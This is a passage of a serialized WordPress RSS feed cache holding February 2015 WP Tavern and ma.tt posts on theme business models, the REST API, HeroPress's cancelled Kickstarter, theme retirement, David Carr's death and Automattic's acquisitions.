the editor in order to see how it&#8217;s going to look.</p>\n<p><a href=\"http://i0.wp.com/wptavern.com/wp-content/uploads/2015/02/mayer-for-wordpress-1024x819.png\" rel=\"prettyphoto[38975]\"><img src=\"http://i0.wp.com/wptavern.com/wp-content/uploads/2015/02/mayer-for-wordpress-1024x819.png?resize=1024%2C819\" alt=\"mayer-for-wordpress-1024x819\" class=\"aligncenter size-full wp-image-39004\" /></a></p>\n<p>Technically, the theme is already open source in terms of its licensing. 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After all, it may result in some pull requests or other issues that will improve the core theme.&#8221;</p>\n<p>Based on his experience navigating user expectations from open source software, McFarlin believes that there is no escaping the issue of support.</p>\n<p>&#8220;<span class=\"pullquote alignleft\">I think that if you’re in the business of WordPress products (versus services), you’re in the support business whether you intend to be or not.</span> Everything that you release – regardless of where the transaction actually happens – is going to yield support from some of the customers,&#8221; he said.</p>\n<p>&#8220;In order to gain access to said support, the transaction just moves back one step from after accessing the source code rather than before accessing the source code.&#8221;</p>\n<p>This model is almost entirely the opposite of the larger theme marketplaces, such as Themeforest, where the customer has no option to preview the code or have a developer preview the code before purchasing the product. It&#8217;s essentially a blind purchase in hopes that you won&#8217;t have to ask for too much support.</p>\n<p>McFarlin is banking on the fact that users who need professional support will be willing to pay for it. <a href=\"http://themehybrid.com/\" target=\"_blank\">Theme Hybrid</a> is one notable shop that has pioneered this model for years, offering all of its open source products for free and charging for paid support. WordPress.com does something similar, with many of its free themes mirrored on WordPress.org. Pressware is moving in a similar direction and will be creating a products division to further experiment with the model. McFarlin plans to put more work up on GitHub in the future and will continue to write about his experience.</p>\n<p>The vast majority of WordPress theme developers have not experimented with this distribution model. For the most part, theme shops sell their products and free versions, if offered, are only available with a limited set of features. McFarlin hopes to prove that in an open source marketplace, a business can successfully sell support for a product that it&#8217;s already giving away for free.</p>\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:7:\"pubDate\";a:1:{i:0;a:5:{s:4:\"data\";s:31:\"Fri, 13 Feb 2015 23:56:30 +0000\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}s:32:\"http://purl.org/dc/elements/1.1/\";a:1:{s:7:\"creator\";a:1:{i:0;a:5:{s:4:\"data\";s:13:\"Sarah Gooding\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}}}i:2;a:6:{s:4:\"data\";s:13:\"\n	\n	\n	\n	\n	\n	\n\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";s:5:\"child\";a:2:{s:0:\"\";a:5:{s:5:\"title\";a:1:{i:0;a:5:{s:4:\"data\";s:60:\"WPTavern: Excellent Primer on the WordPress REST API Project\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"guid\";a:1:{i:0;a:5:{s:4:\"data\";s:28:\"http://wptavern.com/?p=39010\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"link\";a:1:{i:0;a:5:{s:4:\"data\";s:70:\"http://wptavern.com/excellent-primer-on-the-wordpress-rest-api-project\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:11:\"description\";a:1:{i:0;a:5:{s:4:\"data\";s:1981:\"<a href=\"http://i0.wp.com/wptavern.com/wp-content/uploads/2015/02/WordPressRestAPIPrimerFeaturedImage.png\" rel=\"prettyphoto[39010]\"><img class=\"size-full wp-image-39017\" src=\"http://i0.wp.com/wptavern.com/wp-content/uploads/2015/02/WordPressRestAPIPrimerFeaturedImage.png?resize=655%2C327\" alt=\"Rest API Primer Featured Image\" /></a>photo credit: <a href=\"http://www.flickr.com/photos/22280677@N07/3349296482\">The Poor Man&#8217;s Racehorse?</a> &#8211; <a href=\"https://creativecommons.org/licenses/by-nd/2.0/\">(license)</a>\n<p>In the past two years, there&#8217;s been a lot of discussion surrounding the <a title=\"https://github.com/WP-API/WP-API\" href=\"https://github.com/WP-API/WP-API\">WordPress REST API project</a>. If you&#8217;re not familiar with it, Brian Krogsgard <a title=\"https://poststatus.com/wordpress-json-rest-api/\" href=\"https://poststatus.com/wordpress-json-rest-api/\">published a great article</a> that explains what it is, how to get involved, and the possibilities it opens up to developers. Krogsgard believes the REST API is &#8220;the most exciting project for the platform since custom post types were introduced in WordPress 2.9 and 3.0.&#8221;</p>\n<p>While the article does a good job explaining what the API is, I find it to be developer heavy for my understanding. I think it&#8217;s a project that I won&#8217;t truly understand how great it is until I use products built with it.</p>\n<p>For additional information, read our <a title=\"http://wptavern.com/ryan-mccue-on-creating-the-json-rest-api-for-wordpress\" href=\"http://wptavern.com/ryan-mccue-on-creating-the-json-rest-api-for-wordpress\">interview from 2013 with Ryan McCue</a>, project lead for the WordPress REST API. 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There&#8217;s also a great presentation from WordCamp San Francisco 2014 by Sam Hotchkiss, that explains how APIs like the REST API are changing the internet.</p>\n<p></p>\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:7:\"pubDate\";a:1:{i:0;a:5:{s:4:\"data\";s:31:\"Fri, 13 Feb 2015 22:46:01 +0000\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}s:32:\"http://purl.org/dc/elements/1.1/\";a:1:{s:7:\"creator\";a:1:{i:0;a:5:{s:4:\"data\";s:13:\"Jeff Chandler\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}}}i:3;a:6:{s:4:\"data\";s:13:\"\n	\n	\n	\n	\n	\n	\n\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";s:5:\"child\";a:2:{s:0:\"\";a:5:{s:5:\"title\";a:1:{i:0;a:5:{s:4:\"data\";s:92:\"WPTavern: HeroPress Fails to Attract Backers, Cancels Kickstarter Campaign Ahead of Deadline\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"guid\";a:1:{i:0;a:5:{s:4:\"data\";s:28:\"http://wptavern.com/?p=38963\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"link\";a:1:{i:0;a:5:{s:4:\"data\";s:101:\"http://wptavern.com/heropress-fails-to-attract-backers-cancels-kickstarter-campaign-ahead-of-deadline\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:11:\"description\";a:1:{i:0;a:5:{s:4:\"data\";s:2471:\"<p><a href=\"http://i1.wp.com/wptavern.com/wp-content/uploads/2015/02/heropress-funding-canceled.jpg\" rel=\"prettyphoto[38963]\"><img src=\"http://i1.wp.com/wptavern.com/wp-content/uploads/2015/02/heropress-funding-canceled.jpg?resize=1008%2C392\" alt=\"heropress-funding-canceled\" class=\"aligncenter size-full wp-image-38973\" /></a></p>\n<p>Topher DeRosia, creator of <a href=\"http://wptavern.com/heropress-launches-kickstarter-campaign-to-highlight-wordpress-developers\" target=\"_blank\">HeroPress</a>, <a href=\"http://heropress.com/cancelling-kickstarter-1/\" target=\"_blank\">announced</a> today that he is canceling the project&#8217;s Kickstarter campaign. During the past few weeks, the project attracted 33 backers who pledged $21,855 of the $60,000 AUD goal. When it became clear that the fundraiser was hopelessly behind on reaching its goal, DeRosia canceled the funding three days ahead of its deadline.</p>\n<blockquote><p>The Kickstarter contributors were great. The verbal and public support of people were wonderful.  And lastly the naysayers were welcome and useful.  With very few exceptions our detractors enhanced what we were doing, and I appreciate it.</p></blockquote>\n<p>HeroPress encountered no small amount of resistance from those who either didn&#8217;t support the concept or didn&#8217;t appreciate the approach. The project&#8217;s mission was to “develop the WordPress heroes of the world by sharing the accumulated wisdom of the community.” HeroPress&#8217; communication strategy failed to communicate the mission of the project and struggled to identify practical goals, apart from creating videos to inspire community members.</p>\n<p>DeRosia attempted to further clarify the mission of the project through <a href=\"https://www.kickstarter.com/projects/heropress/heropress-developing-the-wordpress-heroes-of-the-w/posts\" target=\"_blank\">short interviews with potential speakers</a> and supporters. Unfortunately, the video updates didn&#8217;t adequately represent the quality of videos that the HeroPress creator hoped to deliver on his $60,000 AUD budget for the project.</p>\n<p>&#8220;Our plan at this point is to huddle and make a new plan and give it another shot,&#8221; DeRosia said. &#8220;We’ve learned an enormous amount about our audience, their needs, and our capabilities.&#8221; He plans to continue the HeroPress with a new, more cost-effective approach that will better address the needs the project was created to solve.</p>\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:7:\"pubDate\";a:1:{i:0;a:5:{s:4:\"data\";s:31:\"Fri, 13 Feb 2015 20:19:23 +0000\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}s:32:\"http://purl.org/dc/elements/1.1/\";a:1:{s:7:\"creator\";a:1:{i:0;a:5:{s:4:\"data\";s:13:\"Sarah Gooding\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}}}i:4;a:6:{s:4:\"data\";s:13:\"\n	\n	\n	\n	\n	\n	\n\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";s:5:\"child\";a:2:{s:0:\"\";a:5:{s:5:\"title\";a:1:{i:0;a:5:{s:4:\"data\";s:49:\"WPTavern: DevPress Retires Its Best Selling Theme\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"guid\";a:1:{i:0;a:5:{s:4:\"data\";s:28:\"http://wptavern.com/?p=38968\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"link\";a:1:{i:0;a:5:{s:4:\"data\";s:59:\"http://wptavern.com/devpress-retires-its-best-selling-theme\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:11:\"description\";a:1:{i:0;a:5:{s:4:\"data\";s:4439:\"<p>Devin Price, who owns and operates the WordPress commercial theme shop <a title=\"https://devpress.com/\" href=\"https://devpress.com/\">DevPress</a>, <a title=\"https://devpress.com/zelda-released-zenith-retired/\" href=\"https://devpress.com/zelda-released-zenith-retired/\">announced</a> that he is retiring his best selling theme, <a title=\"https://devpress.com/demo/zenith\" href=\"https://devpress.com/demo/zenith\">Zenith</a>. I asked Price why he&#8217;s retiring his best product.</p>\n<p>&#8220;Retirement may not be the best term. It&#8217;s more like introducing the new year&#8217;s model and stopping production on the previous one. The designs match pretty close, but there were a lot of under the hood updates I wanted to do that would have broken child themes and created compatibility issues for existing customers.&#8221;</p>\n<a href=\"http://i2.wp.com/wptavern.com/wp-content/uploads/2015/02/DevPressZeldaTheme.png\" rel=\"prettyphoto[38968]\"><img class=\"size-full wp-image-38970\" src=\"http://i2.wp.com/wptavern.com/wp-content/uploads/2015/02/DevPressZeldaTheme.png?resize=880%2C660\" alt=\"Zelda Replaces Zenith\" /></a>Zelda Replaces Zenith\n<p>The HTML markup in Zelda is almost entirely rewritten. &#8220;If I was a customer who had spent hours making customizations through a child theme, I would be sorely disappointed when I clicked that auto-update button. Whereas, introducing a new version let&#8217;s the user decide whether to switch or not.&#8221; Price said. He plans on supporting Zenith for another year to give customers an opportunity to decide whether or not to switch to the new theme.</p>\n<a href=\"http://i2.wp.com/wptavern.com/wp-content/uploads/2015/02/ThemeRetirement.png\" rel=\"prettyphoto[38968]\"><img class=\"size-full wp-image-38982\" src=\"http://i2.wp.com/wptavern.com/wp-content/uploads/2015/02/ThemeRetirement.png?resize=650%2C200\" alt=\"Theme Retirement\" /></a>photo credit: <a href=\"http://www.flickr.com/photos/120360673@N04/13856166954\">Retirement Calendar</a> &#8211; <a href=\"https://creativecommons.org/licenses/by-sa/2.0/\">(license)</a>\n<p>Price <a title=\"https://tommcfarlin.com/planned-obsolescence-of-wordpress-themes/#comment-799966\" href=\"https://tommcfarlin.com/planned-obsolescence-of-wordpress-themes/#comment-799966\">gives more insight</a> into his strategy within the comments of an article written by Tom McFarlin on <a title=\"https://tommcfarlin.com/planned-obsolescence-of-wordpress-themes/\" href=\"https://tommcfarlin.com/planned-obsolescence-of-wordpress-themes/\">planned obsolescence of WordPress themes</a>.</p>\n<blockquote><p>I think planned obsolescence or &#8216;theme retirement&#8217; is a really good option for theme shops. Big updates (like converting a theme to be responsive, or using new development techniques like icon fonts) is sometimes really difficult to do in a way that won’t break child themes.</p>\n<p>We’re using a mix of the &#8216;Fork It&#8217; and &#8216;Retire It&#8217; options at DevPress. The &#8216;Cascade&#8217; theme will become &#8216;Cascadia&#8217; (for example) and we’ll make the new theme available for free to all customers who purchased the free version. Less popular themes will just be retired as we add new themes to take their place.</p></blockquote>\n<p>Although theme shops are able to retire themes and set up redirects to newer versions, retiring a theme is not as easy to do on the WordPress theme directory. According to Price, &#8220;You can request a takedown and release a theme under a different name, but there&#8217;s no way to 301 redirect the established traffic to the new spot.&#8221; Not only does a theme author lose traffic, but they also can’t push out critical updates for retired themes.</p>\n<p>DevPress isn&#8217;t the first theme shop to use a retirement strategy. Since 2012, WooThemes has <a title=\"http://docs.woothemes.com/document/retired-themes/\" href=\"http://docs.woothemes.com/document/retired-themes/\">retired 92</a> themes. Array also <a title=\"https://array.is/theme-retirement/\" href=\"https://array.is/theme-retirement/\">retires themes</a>, but offers them for free with no support. A theme retirement strategy makes sense from a business perspective, but as a customer, I expect themes I buy to stick around for a year or more.</p>\n<p>As a customer, what do you think about commercial theme companies retiring themes? For commercial theme shops, how does such a strategy help your business?</p>\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:7:\"pubDate\";a:1:{i:0;a:5:{s:4:\"data\";s:31:\"Fri, 13 Feb 2015 20:13:45 +0000\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}s:32:\"http://purl.org/dc/elements/1.1/\";a:1:{s:7:\"creator\";a:1:{i:0;a:5:{s:4:\"data\";s:13:\"Jeff Chandler\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}}}i:5;a:6:{s:4:\"data\";s:13:\"\n	\n	\n	\n	\n	\n	\n\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";s:5:\"child\";a:2:{s:0:\"\";a:5:{s:5:\"title\";a:1:{i:0;a:5:{s:4:\"data\";s:27:\"Matt: Passing of David Carr\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"guid\";a:1:{i:0;a:5:{s:4:\"data\";s:21:\"http://ma.tt/?p=44692\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"link\";a:1:{i:0;a:5:{s:4:\"data\";s:43:\"http://ma.tt/2015/02/passing-of-david-carr/\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:11:\"description\";a:1:{i:0;a:5:{s:4:\"data\";s:330:\"<p>Shocked and dismayed this morning on the news that David Carr passed last night after collapsing in the New York Times newsroom, where he was working into the evening. If you&#8217;re not familiar with his work or legacy, <a href=\"http://mediagazer.com/150212/p36#a150212p36\">these links on Mediagazer are a good start</a>.</p>\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:7:\"pubDate\";a:1:{i:0;a:5:{s:4:\"data\";s:31:\"Fri, 13 Feb 2015 16:04:50 +0000\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}s:32:\"http://purl.org/dc/elements/1.1/\";a:1:{s:7:\"creator\";a:1:{i:0;a:5:{s:4:\"data\";s:4:\"Matt\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}}}i:6;a:6:{s:4:\"data\";s:13:\"\n	\n	\n	\n	\n	\n	\n\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";s:5:\"child\";a:2:{s:0:\"\";a:5:{s:5:\"title\";a:1:{i:0;a:5:{s:4:\"data\";s:62:\"WPTavern: A Look Back at 16 Automattic Acquisitions Since 2007\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"guid\";a:1:{i:0;a:5:{s:4:\"data\";s:28:\"http://wptavern.com/?p=38863\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"link\";a:1:{i:0;a:5:{s:4:\"data\";s:72:\"http://wptavern.com/a-look-back-at-16-automattic-acquisitions-since-2007\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:11:\"description\";a:1:{i:0;a:5:{s:4:\"data\";s:23673:\"<p>Since <a title=\"http://automattic.com/\" href=\"http://automattic.com/\">Automattic</a> was founded in 2005, it has acquired several businesses, services, products, and people. In August, the company will be 10 years old and I thought it would be interesting to see if the acquisitions the company has made are still around. The list is organized from earliest to latest.</p>\n<h2>Gravatar</h2>\n<p><a href=\"http://i0.wp.com/wptavern.com/wp-content/uploads/2014/03/GravatarLogo.png\" rel=\"prettyphoto[38863]\"><img class=\"alignright wp-image-18453 size-full\" src=\"http://i0.wp.com/wptavern.com/wp-content/uploads/2014/03/GravatarLogo.png?resize=239%2C63\" alt=\"Gravatar Logo 2\" /></a> <a title=\"http://en.gravatar.com/\" href=\"http://en.gravatar.com/\">Gravatar</a> stands for globally recognized avatar and is an image that follows you around on the web. This eliminates the hassle of maintaining a visual identity across multiple communities. In 2014, what was supposed to be a Gravatar mobile app, <a title=\"http://wptavern.com/automattics-planned-gravatar-app-morphs-into-a-selfies-app-for-android\" href=\"http://wptavern.com/automattics-planned-gravatar-app-morphs-into-a-selfies-app-for-android\">morphed into a Selfies app for Android</a>. Although Gravatar is supported in a number of applications, I think there&#8217;s still a lot of work to do before it becomes a globally recognized image. Gravatar was created by Tom Werner and <a title=\"http://blog.gravatar.com/2007/10/18/automattic-gravatar/\" href=\"http://blog.gravatar.com/2007/10/18/automattic-gravatar/\">acquired in 2007</a>.</p>\n<h2>BuddyPress Acqui-hire</h2>\n<p><a href=\"http://i2.wp.com/wptavern.com/wp-content/uploads/2009/04/buddypresslogo.png\" rel=\"prettyphoto[38863]\"><img class=\"alignright wp-image-966 size-full\" src=\"http://i2.wp.com/wptavern.com/wp-content/uploads/2009/04/buddypresslogo.png?resize=212%2C76\" alt=\"BuddyPress Logo\" /></a><a title=\"https://buddypress.org/\" href=\"https://buddypress.org/\">BuddyPress</a> was conceived <a title=\"https://buddypress.org/about/story/\" href=\"https://buddypress.org/about/story/\">in 2008</a> by Andy Peatling and started out as a set of plugins to add social networking features to WordPress MU (multi-user). In March of 2008, Peatling was <a title=\"http://ma.tt/2008/03/backing-buddypress/\" href=\"http://ma.tt/2008/03/backing-buddypress/\">acqui-hired by Automattic</a> and joined the company as an employee. Peatling is not as active in BuddyPress core development, but thanks to John James Jacoby and the community surrounding it, it&#8217;s still an actively developed project. BuddyPress 2.2 <a title=\"http://wptavern.com/buddypress-2-2-spumoni-released-featuring-new-member-type-api\" href=\"http://wptavern.com/buddypress-2-2-spumoni-released-featuring-new-member-type-api\">was released in February and </a>features a new member type API and several bug fixes.</p>\n<h2>IntenseDebate</h2>\n<p><a href=\"http://i1.wp.com/wptavern.com/wp-content/uploads/2009/08/intensedebatelogo.png\" rel=\"prettyphoto[38863]\"><img class=\"alignright wp-image-2326 size-full\" src=\"http://i1.wp.com/wptavern.com/wp-content/uploads/2009/08/intensedebatelogo.png?resize=189%2C43\" alt=\"IntenseDebate Logo\" /></a><a title=\"http://intensedebate.com/home\" href=\"http://intensedebate.com/home\">IntenseDebate</a> is a third-party commenting service that showed a lot of promise of being a premiere service to replace the native commenting system in WordPress. It synced comments from the service to the local database to ensure no comments were lost. The service <a title=\"http://blog.intensedebate.com/2009/03/05/introducing-intensedebate-plugins-add-the-features-you-want/\" href=\"http://blog.intensedebate.com/2009/03/05/introducing-intensedebate-plugins-add-the-features-you-want/\">introduced</a> a <a title=\"http://intensedebate.com/plugins\" href=\"http://intensedebate.com/plugins\">plugin eco-system</a> in 2009, that I think if given more time, would have helped the service fly past the competition. Unfortunately, development on the service came to a halt somewhere <a title=\"http://wptavern.com/what-is-the-future-of-comments-in-wordpress\" href=\"http://wptavern.com/what-is-the-future-of-comments-in-wordpress\">between 2012 and 2013</a>.</p>\n<p>IntenseDebate was founded by Isaac Keyet and Jon Fox in 2006 and was <a title=\"http://ma.tt/2008/09/intense-debate-goes-automattic/\" href=\"http://ma.tt/2008/09/intense-debate-goes-automattic/\">acquired by Automattic</a> in 2008.</p>\n<h2>Polldaddy</h2>\n<p><a href=\"http://i1.wp.com/wptavern.com/wp-content/uploads/2010/02/polldaddylogo2.png\" rel=\"prettyphoto[38863]\"><img class=\"alignright size-full wp-image-3334\" src=\"http://i1.wp.com/wptavern.com/wp-content/uploads/2010/02/polldaddylogo2.png?resize=242%2C56\" alt=\"polldaddylogo2\" /></a><a title=\"https://polldaddy.com/\" href=\"https://polldaddy.com/\">Polldaddy</a> is a platform agnostic service that lets users create surveys and polls. Polldaddy was founded in 2006 by David Lenehan in Sligo, Ireland and was <a title=\"http://blog.polldaddy.com/2008/10/15/automattic-acquires-polldaddy/\" href=\"http://blog.polldaddy.com/2008/10/15/automattic-acquires-polldaddy/\">acquired by Automattic</a> in 2008. Between 2006 and when the company was acquired, about 1 million polls were created and 195 million votes were collected. At the time of Polldaddy&#8217;s acquisition, Automattic had <a title=\"http://www.theguardian.com/technology/pda/2010/nov/26/ireland-sligo-polldaddy-wordpress-startup\" href=\"http://www.theguardian.com/technology/pda/2010/nov/26/ireland-sligo-polldaddy-wordpress-startup\">about 20 employees</a>.</p>\n<h2>Blo.gs</h2>\n<p><a href=\"http://i0.wp.com/wptavern.com/wp-content/uploads/2015/02/blogslogo.png\" rel=\"prettyphoto[38863]\"><img class=\"alignright size-full wp-image-38873\" src=\"http://i0.wp.com/wptavern.com/wp-content/uploads/2015/02/blogslogo.png?resize=244%2C90\" alt=\"blogs logo\" /></a><a title=\"http://blo.gs\" href=\"http://blo.gs\">Blog.gs</a> is a directory of recently updated blogs founded in 2002 by Jim Winstead. In 2005, the company was <a title=\"http://trainedmonkey.com/2005/6/14/blo_gs_has_been_acquired_by_yahoo_\" href=\"http://trainedmonkey.com/2005/6/14/blo_gs_has_been_acquired_by_yahoo_\">acquired by Yahoo!</a> and in 2009, transferred to Automattic. According to the <a title=\"http://ma.tt/2009/04/blogs-lives-on/\" href=\"http://ma.tt/2009/04/blogs-lives-on/\">announcement</a>, Automattic planned to beef up the service, &#8220;We’re looking forward to beefing up the service and giving it a refresh, while continuing its reputation for reliability.&#8221; The site&#8217;s design hasn&#8217;t changed in years and features like search and ping submissions are broken.</p>\n<h2>After the Deadline</h2>\n<p><a href=\"http://i0.wp.com/wptavern.com/wp-content/uploads/2009/09/afterthedeadlinelogo.png\" rel=\"prettyphoto[38863]\"><img class=\"alignright wp-image-2512 size-full\" src=\"http://i0.wp.com/wptavern.com/wp-content/uploads/2009/09/afterthedeadlinelogo.png?resize=253%2C60\" alt=\"afterthedeadlinelogo\" /></a><a title=\"http://www.afterthedeadline.com/\" href=\"http://www.afterthedeadline.com/\">After the Deadline</a> is a contextual spell checking service created in 2009 by Raphael Mudge. Out of all the acquisitions Automattic has made, Mudge has <a title=\"http://blog.afterthedeadline.com/2009/09/08/after-the-deadline-acquired/\" href=\"http://blog.afterthedeadline.com/2009/09/08/after-the-deadline-acquired/\">one of the best acquisition stories</a> I&#8217;ve read. After <a title=\"http://news.ycombinator.com/item?id=636168\" href=\"http://news.ycombinator.com/item?id=636168\">publishing a comment</a> on a Hacker News article showing off how AtD works, Mullenweg got in touch with Mudge and acquired the company in 2009.</p>\n<p>Mudge stayed with the company for a few years, but moved on to focus his energy on a new passion, <a title=\"http://www.advancedpentest.com/\" href=\"http://www.advancedpentest.com/\">cyber security</a>. AtD is actively developed and is available as <a title=\"http://jetpack.me/support/spelling-and-grammar/\" href=\"http://jetpack.me/support/spelling-and-grammar/\">a module in Jetpack</a>.</p>\n<h2>Plinky</h2>\n<p><a href=\"http://i0.wp.com/wptavern.com/wp-content/uploads/2015/02/Plinkylogo.png\" rel=\"prettyphoto[38863]\"><img class=\"alignright wp-image-38875 size-full\" src=\"http://i0.wp.com/wptavern.com/wp-content/uploads/2015/02/Plinkylogo.png?resize=283%2C127\" alt=\"Plinkylogo\" /></a><a title=\"http://www.plinky.com/\" href=\"http://www.plinky.com/\">Plinky</a> is a service created by Thing Labs that inspired users to write content. Every day Plinky displayed a prompt with a question, idea, or challenge. Writers answered the challenge using the Plinky editor which made it easy to add rich media and send posts to social media services. Plinky was acquired by Automattic in 2010. In 2014, user registration was disabled and the service was placed into archive mode.</p>\n<h2>Code Garage</h2>\n<p><a href=\"http://i1.wp.com/wptavern.com/wp-content/uploads/2012/12/CodeGaragelogo.jpg\" rel=\"prettyphoto[38863]\"><img class=\"alignright wp-image-6754 size-full\" src=\"http://i1.wp.com/wptavern.com/wp-content/uploads/2012/12/CodeGaragelogo.jpg?resize=262%2C54\" alt=\"Code Garage Logo\" /></a><a title=\"http://codegarage.com/blog/\" href=\"http://codegarage.com/blog/\">Code Garage</a> provided backups, security scanning, and crisis control for WordPress sites. Customers could monitor 5 websites for $25 a month which was more affordable than VaultPress which charged a flat fee per site. Code Garage was founded in 2010 and <a title=\"http://blog.vaultpress.com/2012/12/21/vaultpress-in-the-garage/\" href=\"http://blog.vaultpress.com/2012/12/21/vaultpress-in-the-garage/\">acquired by Automattic</a> in 2012.</p>\n<p>In May of 2013, Code Garage <a title=\"http://wptavern.com/code-garage-migrations-are-underway\" href=\"http://wptavern.com/code-garage-migrations-are-underway\">migrated customers</a> to VaultPress and promptly shut the service down in July. As part of the acquisition, Peter Butler, one of the company&#8217;s founders, joined Automattic to work with the VaultPress team.</p>\n<h2>Simperium and Simplenote</h2>\n<p><a href=\"http://i0.wp.com/wptavern.com/wp-content/uploads/2015/02/Simperiumlogo.png\" rel=\"prettyphoto[38863]\"><img class=\"alignright size-full wp-image-38878\" src=\"http://i0.wp.com/wptavern.com/wp-content/uploads/2015/02/Simperiumlogo.png?resize=127%2C126\" alt=\"Simperiumlogo\" /></a> <a title=\"https://simperium.com/\" href=\"https://simperium.com/\">Simperium </a>is the creator of <a title=\"http://simplenote.com/\" href=\"http://simplenote.com/\">SimpleNote</a>, a note taking app that is synchronized across platforms. Simperium is a data synchronization service that allows developers to move data everywhere it&#8217;s needed. The company was founded in 2010 and <a title=\"http://ma.tt/2013/01/simplenote-and-simperium/\" href=\"http://ma.tt/2013/01/simplenote-and-simperium/\">acquired by Automattic</a> in 2013.</p>\n<h2>Poster</h2>\n<p><a href=\"http://i0.wp.com/wptavern.com/wp-content/uploads/2015/02/PosterApp.png\" rel=\"prettyphoto[38863]\"><img class=\"alignright size-medium wp-image-38945\" src=\"http://i0.wp.com/wptavern.com/wp-content/uploads/2015/02/PosterApp.png?resize=300%2C148\" alt=\"Poster Mobile App\" /></a>Poster was a slick, easy to use, WordPress mobile app for iOS that was founded by <a title=\"http://www.tomwitkin.com/\" href=\"http://www.tomwitkin.com/\">Tom Witkin</a> and <a 